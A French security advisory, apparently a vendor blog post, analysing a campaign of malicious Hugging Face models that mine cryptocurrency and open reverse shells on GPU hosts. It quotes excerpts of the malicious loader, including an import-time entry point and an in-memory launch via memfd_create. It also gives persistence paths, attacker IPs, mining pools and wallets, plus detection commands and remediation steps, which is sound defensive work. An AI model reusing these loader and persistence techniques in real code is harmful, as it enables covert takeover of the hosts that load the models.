Neutron, notre moteur d’IA, a obtenu un score de 97,1 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Analyse approfondie

Analyse approfondie

Load/Mine : des modèles Hugging Face malveillants compromettent les hôtes GPU

Des modèles Hugging Face malveillants ont exécuté mineurs et backdoors sur les hôtes GPU qui les chargeaient ; la campagne revient après chaque retrait.

En bref

  • Une campagne suivie par Pluto Research a placé des charges de minage de cryptomonnaies et de backdoor dans 31 dépôts de modèles répartis sur sept comptes Hugging Face, déguisés en petits modèles de test Qwen2. Charger l'un d'eux avec le code personnalisé activé exécute le Python de l'auteur du dépôt sur l'hôte avant toute lecture des poids. Pluto a publié l'analyse le 29 octobre 2026.
  • La campagne et ses modèles liés cumulent 32 376 téléchargements, dont 29 818 sur les 31 dépôts malveillants. Les victimes sont réelles et actuelles : le portefeuille de l'opérateur a reçu environ 2 276 PRL (Pearl) on-chain, soit environ 5 000 dollars, et des travailleurs de minage actifs rapportaient encore à la capture.
  • Les cibles sont l'infrastructure GPU auto-hébergée : déploiements Xinference et GPUStack, machines GPU louées, carnets de recherche partagés et tâches CI qui tirent de petits modèles de test. La seconde vague est revenue à quelques jours d'un retrait, et un dépôt porte un script d'évasion du conteneur vers l'hôte.
  • Aucun CVE n'est attribué et l'incident ne figure pas au catalogue KEV du CISA au 3 novembre 2026. Relisez chaque fichier .py référencé par une entrée auto_map avant d'activer trust_remote_code, et vérifiez les hôtes qui ont chargé un modèle listé. « Que faire si je l'ai installé ? » porte les étapes de confinement.

Suis-je concerné ?

Vous êtes concerné lorsque toutes ces conditions sont réunies :

  • Quelqu'un de votre infrastructure a chargé un modèle issu d'un dépôt de la campagne avec le code personnalisé activé, via trust_remote_code=True ou une confirmation interactive. Les noms de dépôts et de comptes sont listés dans « Comment vérifier si j'ai été compromis ? ».
  • Votre environnement appartient à la classe ciblée : un hôte d'inférence auto-hébergée, surtout Xinference ou GPUStack, une machine GPU louée, un carnet de recherche partagé ou une tâche CI qui tire de petits modèles de test sans revue.
  • La charge s'exécute à l'import, avant toute lecture des poids : un chargement de modèle échoué l'exécute quand même. Un model.safetensors de 42 octets sans tenseurs est l'unique fichier de poids du dépôt phare.

Les comptes de la première vague ont été retirés après le signalement de Pluto. La seconde vague est apparue à quelques jours sous de nouveaux comptes et restait en ligne huit jours après le signalement : un retrait n'est donc pas une preuve que l'exposition a cessé.

Groupe Dépôts Téléchargements enregistrés État au 28 octobre 2026
Première vague, comptes hhzz667 et dsxk4mr8tq 12 728 retirés
Seconde vague, cinq comptes dont MENXIANGYU et wjsbg 19 29 090 en ligne
Modèles liés, six comptes 13 2 558 en ligne

Vérifiez vos caches et vos hôtes :

# Any of the campaign's models in the local Transformers cache
ls ~/.cache/huggingface/hub 2>/dev/null |
  grep -iE "MENXIANGYU|wjsbg|htt0118|soumikmahato|r1r13|hhzz667|dsxk4mr8tq|MONIADF-2|antwoinhjro654|vaishupv|andrew3d|oifewuheu|KzuryHD"

# Watchdog and miner artifacts on the host
ls -la /tmp/.cch 2>/dev/null

# A kernel-worker name that carries userspace arguments is the miner
ps aux | grep -F '[kworker/u20:1]'

# Persistence hooks written by the payload
grep -n "svc.py" ~/.bashrc ~/.profile /root/.bashrc 2>/dev/null

Un vrai thread noyau n'affiche aucun argument de ligne de commande ; le mineur déguisé porte le login de minage en arguments, c'est le signe distinctif décrit par Pluto.

Comment corriger ?

Aucune mise à jour de paquet ne corrige cela, car la livraison est une fonctionnalité documentée utilisée comme prévu. La correction est une discipline de revue sur chaque modèle qui porte une entrée auto_map.

  1. Inventoriez chaque modèle que vos pipelines chargent avec trust_remote_code=True, puis lisez chaque fichier Python que l'auto_map de son config.json référence avant le prochain chargement. Cette revue aurait attrapé chaque charge de la campagne, comme le note Pluto.
  2. Préférez les modèles dont les poids sont en safetensors sans entrée auto_map, et épinglez les révisions de modèles par hash de commit dans les tâches et les carnets.
  3. Sur les hôtes Xinference et GPUStack, restreignez le registre de modèles et l'API aux réseaux de confiance. Les charges écrivent dans le registre Xinference et un étage vise les répertoires hôtes de GPUStack : une console exposée est donc dans le périmètre.
  4. Bloquez et surveillez les indicateurs de « Comment vérifier si j'ai été compromis ? » à votre sortie réseau, récepteurs de shell inversé et pools compris.

Les recommandations de Hugging Face placent déjà le travail côté utilisateur : vérifier le code avant d'activer le drapeau. Les fiches de modèles et les tutoriels qui copient trust_remote_code=True transforment un choix éclairé en case à cocher, et c'est exactement ce sur quoi cette campagne a compté.

Que fait le code malveillant ?

La charge est du Python ordinaire posé à côté d'un minuscule fichier de poids, et elle s'exécute à l'import. Un processus chien de garde, un téléchargeur sans proxy, un mineur en mémoire déguisé en thread noyau et des shells inversés s'assemblent avant même la construction de la classe du modèle.

Transformers charge une implémentation de modèle personnalisée en important le fichier nommé dans l'entrée auto_map du config.json du dépôt :

# transformers/src/transformers/dynamic_module_utils.py (get_class_in_module)
module_spec = importlib.util.spec_from_file_location(name, location=module_file)
module = importlib.util.module_from_spec(module_spec)
sys.modules[name] = module
module_spec.loader.exec_module(module)
return getattr(module, class_name)

exec_module exécute les instructions au niveau du module pour y définir ses classes : un appel placé à côté de ces définitions s'exécute donc avant le retour de getattr. Le dépôt phare, MENXIANGYU/qwen2-tiny à 28 412 téléchargements, pointe auto_map vers un module dont le point d'entrée s'exécute immédiatement :

# modeling_evil2.py - shortened module-level entry point, published by Pluto
try:
    _boot()
except Exception:
    try:
        _run()
    except Exception:
        pass
class EvilModel:
    ...

De là, la construction assemble sa chaîne :

  • _boot écrit /tmp/.cch/svc.py, un chien de garde qui tourne en processus séparé et relance un mineur manquant toutes les 120 secondes. Des lignes ajoutées à /root/.bashrc, /root/.profile et au ~/.bashrc de l'utilisateur le relancent à chaque connexion.
  • Trois constructions ajoutent un shell inversé qui se connecte à 212.32.253.3:443 ou :9443 et réessaie après chaque déconnexion, donnant à l'opérateur un shell interactif avec les fichiers et les identifiants du processus compromis.
  • Le binaire mineur, syscore.bin, vient du dépôt du modèle ou d'un miroir, rapatrié avec les proxies configurés de l'hôte désactivés. C'est un exécutable de 40,6 Mo compressé par UPX dont les marqueurs ont été changés de UPX! en PEK! pour que les outils de décompression courants le rejettent.
  • Le lancement initial tente de copier le binaire dans un descripteur de fichier en mémoire et de l'exécuter depuis là :
# modeling_evil2.py - excerpt of the attempted memory-backed launch
fd = os.memfd_create("kworker")
with open(body, "rb") as f:
    os.write(fd, f.read())
os.fchmod(fd, 0o755)
if os.fork() == 0:
    os.setsid()
    os.fexecve(fd, [_TAG] + _margs(), os.environ)
  • memfd_create crée un fichier anonyme en mémoire. L'appel cité os.fexecve n'est pas une API standard de CPython ; Python expose l'exécution depuis un descripteur via os.execve. L'extrait décrit une tentative de lancement, pas une trace d'exécution vérifiée. Pluto signale aussi un binaire de secours dans /tmp/.cch/sync pour les relances du watchdog : des preuves peuvent donc rester sur le disque même si un lancement en mémoire réussit. Le nom [kworker/u20:1] est un camouflage, pas la preuve d'une absence de traces sur le disque.
  • Les comptes rendus d'état s'écrivent dans le registre Xinference local déguisés en noms de modèles, qwen2-tiny- suivi d'un état encodé en base32, pour qu'un opérateur ayant accès à l'API lise chaque infection. Une fois son mineur lancé, la charge retire les enregistrements de modèles rivaux et tue les processus correspondants.

Un dépôt plus récent de la seconde vague, MENXIANGYU/qa-whl-1021, est un script d'évasion du conteneur vers l'hôte. Depuis un conteneur privilégié, il active les volumes LVM, monte les disques hôtes candidats et trouve la racine de l'hôte ou le /var/lib/gpustack de GPUStack. Il donne ensuite à l'attaquant un login root sur l'hôte.

Comment la compromission se produit-elle ?

Il ne s'agit pas de l'exploitation d'une vulnérabilité : la victime accorde la permission, et le code de l'auteur du dépôt s'exécute avec cette autorisation.

  1. L'opérateur publie un dépôt qui ressemble à un petit point de contrôle de test Qwen2. Son README est copié de la fiche du Qwen2.5-0.5B officiel, et son config.json nomme le module malveillant dans auto_map.
  2. Une victime charge le modèle avec trust_remote_code=True. Transformers télécharge le fichier référencé dans son cache de modules et l'importe.
  3. L'import exécute le code au niveau du module, _boot, avant la construction de la classe du modèle. Aucun poids n'est lu, et aucun poids malveillant n'existe.
  4. La chaîne de « Que fait le code malveillant ? » tourne avec les privilèges du processus qui charge, et le GPU se met à miner vers le portefeuille de l'opérateur.

La même permission a failli ailleurs, comme le note Pluto. CVE-2026-22807 avait vLLM chargeant les modules auto_map sans vérifier le réglage trust_remote_code, corrigé dans vLLM 0.14.0, et Unsloth Studio inspectait les configurations de modèles avec le drapeau codé en dur, corrigé dans 2026.6.9.

Quel est le flux de l'attaque ?

Un seul appel de chargement avec code personnalisé donne au code Python au niveau du module de l'auteur du dépôt les privilèges du processus, et la chaîne tourne avant toute lecture des poids.

flowchart LR A["La victime appelle from_pretrained
avec trust_remote_code=True"] --> B["L'auto_map de config.json
nomme modeling_evil2.py :
l'import est un comportement documenté"] B --> C["exec_module exécute _boot
à l'import : le code tourne
avant la classe"] C --> D["Chien de garde /tmp/.cch/svc.py
plus crochets .bashrc,
relance du mineur toutes les 120 s"] D --> E["syscore.bin rapatrié sans proxy,
compressé avec des marqueurs
UPX altérés"] E --> F["tentative de lancement en mémoire ;
binaire de secours sur le disque"] F --> G["Pools de minage, shells inversés,
état dissimulé dans le
registre Xinference"]

Que peut faire un attaquant ?

L'impact démontré est l'exécution de code sous l'utilisateur qui a chargé le modèle, avec trois conséquences actives aujourd'hui.

  • Le minage de cryptomonnaies sur les GPU des victimes, avec un profit on-chain réalisé : le portefeuille de première vague a reçu environ 2 276 PRL en 716 transactions et en avait renvoyé environ 2 241, avec environ 1 008 PRL de récompenses sur 30 jours sur ses travailleurs actifs à la capture.
  • Un accès de backdoor qui survit au mineur : les shells inversés se reconnectent après chaque déconnexion, et un dropper ultérieur ne répond qu'à des adresses IP autorisées, renvoyant 403 avec le texte static ip. aux autres, si bien qu'un analyste qui interroge la même URL peut passer à côté de la charge.
  • Une portée latérale dans l'infrastructure GPU : le script d'évasion de conteneur vise l'hôte sous un conteneur privilégié, et une famille de seconde vague collecte des informations de plateforme GPU pour les déploiements LLaMA-Factory et les métadonnées Tencent Cloud.

Pluto a observé une cohorte de neuf travailleurs arrivant à moins de 90 secondes d'intervalle. Leurs noms, comme dhumphreys-notebook-2 et a10040gb, évoquent un cluster de carnets partagés plutôt qu'une ferme de minage. Leurs parts se sont arrêtées environ six minutes plus tard, ce qui correspond à un administrateur qui tue les tâches. L'opérateur retire aussi les mineurs et modèles rivaux pour garder la puissance de calcul.

Les conditions sont la permission et la joignabilité des points d'exfiltration. L'accès aux fichiers et identifiants du processus de chargement est le rayon d'impact.

Que faire si je l'ai installé ?

Isolez d'abord, conservez les preuves, puis nettoyez. La charge s'exécute avant l'initialisation du modèle et ses backdoors peuvent rester après l'arrêt du minage.

  1. Isolez les hôtes concernés des réseaux de production et restreignez leur sortie réseau à ce dont les charges de travail ont besoin.
  2. Avant toute suppression, capturez les détails de processus, les connexions réseau, les journaux, le cache de modèles, les modifications de fichiers de démarrage et les entrées authorized_keys.
  3. Supprimez chaque chemin de retour : le répertoire /tmp/.cch/ et son chien de garde svc.py, les lignes ajoutées aux fichiers de démarrage du shell, toute clé SSH que vous n'avez pas ajoutée, et les enregistrements Xinference inattendus.
  4. Renouvelez chaque identifiant que le processus de chargement pouvait atteindre : clés de fournisseur cloud, jetons de registre et jetons de plateforme IA stockés dans l'environnement.
  5. Vérifiez les autres machines qui ont chargé les mêmes dépôts. Pour les hôtes GPU et les conteneurs privilégiés, préférez une reconstruction à un nettoyage : le dépôt d'évasion vise root sur l'hôte, et un lancement en mémoire laisse peu à inspecter.

Comment vérifier si j'ai été compromis ?

Pluto a publié les indicateurs ; les états de dépôts et les compteurs de téléchargements datent du 28 octobre 2026, l'infrastructure réseau a été observée en dernier le 21 octobre. Une correspondance est un élément à examiner, et l'absence d'un indicateur n'exclut pas la compromission.

Dépôts à chercher dans les caches et registres :

  • Première vague, retirée : hhzz667 et dsxk4mr8tq ont publié qwen2-shell, qwen2-tiny, qwen2-mini, qwen2-nano, qwen2-legacy, qwen2-final et qwen2-tiny-gpt2.
  • Seconde vague, en ligne : MENXIANGYU avec qwen2-tiny et zz_ext, wjsbg avec qwen2-final, soumikmahato qwen2-tiny-chat, r1r13 qwen-lora-text-v1, htt0118 qwen2-tiny.
  • Comptes liés : MONIADF-2, antwoinhjro654, vaishupv, andrew3d, oifewuheu, KzuryHD.

Artefacts hôtes :

  • /tmp/.cch/ et les processus svc.py, et un processus nommé [kworker/u20:1] portant des arguments de minage comme le login krxXJ2PKQW.worker.
  • Les fichiers de démarrage /root/.bashrc, /root/.profile et ~/.bashrc invoquant svc.py ; une clé ed25519 non ajoutée par vous dans authorized_keys ; le marqueur d'auto-test /tmp/.qa_pwned.
  • Les enregistrements Xinference commençant par qwen2-tiny- ou ezv-, qui encodent l'état en base32.

Indicateurs réseau à bloquer et traquer :

  • Récepteurs de shell inversé et hébergement de charge sur 212.32.253.3, ports 443, 9443, 8895 et 8898, dont le :8898/lf_py.py filtré par IP source ; 38.55.133.49 ports 8901 et 9001 ; le C2 Alibaba Cloud de première vague 8.137.187.63 ; 103.97.176.121:3361 ; 178.33.123.26 ports 3361 et 3362 ; et hz2006.aihzcc.top.
  • Pools : stratum+ssl://prl-us.kryptex.network:8048 et prl-sg.kryptex.network:8048 ; pearl-hk.luckypool.io ports 3361 et 3956 ; pool.hashvault.pro ports 80 et 443 ; gulf.moneroocean.stream:10001 ; mine.c3pool.com:80.
  • Le portefeuille de première vague prl1p9s2a9gdy4n5yfuf5suhya2d2pyvaahmz3n3gzm3npyxkj79m7yyq9kgnrv et le second prl1pek8rh8yjck5q7596aph7ua7xnkqs8ur9mkfmz8w7xfzcdfcfx5vsx2f4lz.

Chronologie

  • 2026-04-29 : le compte hhzz667 est créé et reste dormant cinq mois.
  • 2026-09-21 : la première charge, qwen2-shell, une backdoor SSH de 37 lignes avec clé ed25519 et balise, est publiée.
  • 2026-09-21 à 2026-09-22 : des constructions d'injection de clés apparaissent sur six chemins, puis qwen2-final, premier mineur fileless complet.
  • 2026-10-12 : le compte dsxk4mr8tq publie six dépôts en 2 h 30, et le scanner de Pluto signale modeling_evil.py.
  • 2026-10-20 : Pluto signale la première vague à Hugging Face et ModelScope, qui retirent les comptes. Dans les heures suivant la divulgation, les téléchargements de qwen2-tiny passent de 7 354 à 9 584, et le dépôt d'évasion de conteneur apparaît 8 h 30 après l'e-mail de divulgation.
  • 2026-10-25 : le compte htt0118 apparaît avec une copie quasi identique d'une charge antérieure, même login de pool et mêmes récepteurs de shell inversé.
  • 2026-10-28 : Pluto enregistre l'instantané d'indicateurs : qwen2-tiny à 28 412 téléchargements, et les dépôts de seconde vague toujours en ligne.
  • 2026-10-29 : Pluto publie la recherche.

Les téléchargements du dépôt phare ont continué de grimper après le retrait de la première vague : 7 354 à la divulgation, 28 412 huit jours plus tard
Figure 1 : les téléchargements de MENXIANGYU/qwen2-tiny sont passés de 7 354 à la divulgation du 20 octobre 2026 à 18 012 le 25 octobre, 25 854 le 27 et 28 412 le 28, tandis que la seconde vague restait en ligne. Source : Pluto Research, vérifiée le 3 novembre 2026.

La seconde vague porte presque tous les téléchargements enregistrés : 29 090 sur 32 376 au total, modèles liés comptés à part
Figure 2 : téléchargements enregistrés par groupe : 728 pour la première vague retirée, 29 090 pour la seconde vague en ligne, 2 558 pour les modèles liés, au 28 octobre 2026. Source : Pluto Research, vérifiée le 3 novembre 2026.

FAQ

trust_remote_code=True est-il une vulnérabilité de Transformers ?

Non. C'est un comportement documenté pour les modèles qui exigent une implémentation personnalisée, et la politique de sécurité de Transformers demande de toujours vérifier le contenu des fichiers de modélisation quand on l'utilise. Les incidents sont dans les chargeurs qui court-circuitent le choix : vLLM avant 0.14.0 importait les modules auto_map sans vérifier le réglage, et Unsloth Studio l'avait codé en dur.

Pourquoi les scanners de la plateforme ont-ils raté les charges ?

Chaque fichier de moins de 2 Go passe par ClamAV à chaque commit, et des scanners partenaires inspectent les formats de poids à la recherche d'exploits pickle et de modèles. Un simple fichier Python référencé par auto_map n'est ni une signature de logiciel malveillant connue ni un modèle sérialisé. La charge phare passait les scanners sans alerte, et l'un d'eux indiquait qu'il ne s'agissait pas d'un modèle d'apprentissage automatique.

Les dépôts malveillants sont-ils toujours en ligne ?

La première vague a été retirée. La seconde vague, 19 dépôts sur cinq comptes, était encore en ligne huit jours après le signalement de Pluto, et la campagne a remplacé la première vague retirée en quelques jours : les retraits n'ont pas mis fin à l'activité. Un compte des familles liées a aussi publié de nouveaux dépôts après la divulgation.

Combien l'opérateur a-t-il gagné ?

Environ 2 276 PRL, soit environ 5 000 dollars, sont arrivés on-chain au portefeuille de première vague en 716 transactions, dont environ 2 241 renvoyés. Ses travailleurs Kryptex affichaient environ 1 008 PRL de récompenses sur 30 jours à la capture. Le portefeuille MoneroOcean d'une famille liée a gagné environ 26 dollars en un mois : son activité compte plus que son argent.

Qui mène la campagne ?

Pluto évalue un opérateur ou un petit groupe sinophone et financièrement motivé. Les éléments : des commentaires de code en chinois simplifié, un C2 Alibaba Cloud, des miroirs sur ModelScope et hf-mirror.com, un ciblage qui présuppose Xinference et Tencent Cloud, et des horaires d'activité de fin de nuit en Chine. La boîte à outils parasit en indonésien pourrait être un second opérateur dans la même niche.

Les poids safetensors protègent-ils de cette classe ?

Non. Le fichier safetensors du dépôt phare faisait 42 octets sans tenseurs, car aucun poids malveillant n'était nécessaire : la charge est le Python posé à côté. Un format de poids ne relit pas le code, voilà pourquoi les références auto_map ont besoin d'un lecteur.

Trouvez les consoles d'inférence IA exposées avec Ostorlab

La découverte de surface d'attaque d'Ostorlab inventorie les hôtes exposés sur internet dans vos plages, pour repérer chaque console Xinference ou GPUStack que cette campagne cible. Commencez un scan avec Ostorlab pour savoir quels hôtes d'inférence restreindre en premier.

Références

  • Pluto Security, « Load/Mine: A Hugging Face Malware Campaign Returns After Takedown », publié le 29 octobre 2026 par Shaked Chen, Eitan Chassid et Yotam Perkal, avec l'analyse de charge, le suivi des comptes et la liste complète d'indicateurs : https://pluto.security/blog/hugging-face-malware-campaign-load-mine (vérifié le 3 novembre 2026)
  • Source de Transformers, dynamic_module_utils.py, le chemin d'import get_class_in_module que la campagne détourne : https://github.com/huggingface/transformers/blob/main/src/transformers/dynamic_module_utils.py (vérifié le 3 novembre 2026)
  • Politique de sécurité de Transformers, « please always verify the content of the modeling files when using this argument », et la recommandation d'épingler une révision : https://github.com/huggingface/transformers/blob/main/SECURITY.md (vérifié le 3 novembre 2026)
  • Documentation Hugging Face Hub sur la sécurité, les fonctions d'analyse de logiciels malveillants et de pickle et leurs limites : https://huggingface.co/docs/hub/security (vérifié le 3 novembre 2026)
  • README de Xinference, le port de déploiement standard utilisé pour la vérification du registre : https://github.com/xorbitsai/inference (vérifié le 3 novembre 2026)
  • Flux JSON du catalogue Known Exploited Vulnerabilities du CISA, confirmant l'absence d'entrée CVE pour cette campagne au 3 novembre 2026 : https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (vérifié le 3 novembre 2026)
  • Documentation Python os, exécution depuis un descripteur avec os.execve : https://docs.python.org/3/library/os.html#os.execve (vérifié le 3 novembre 2026)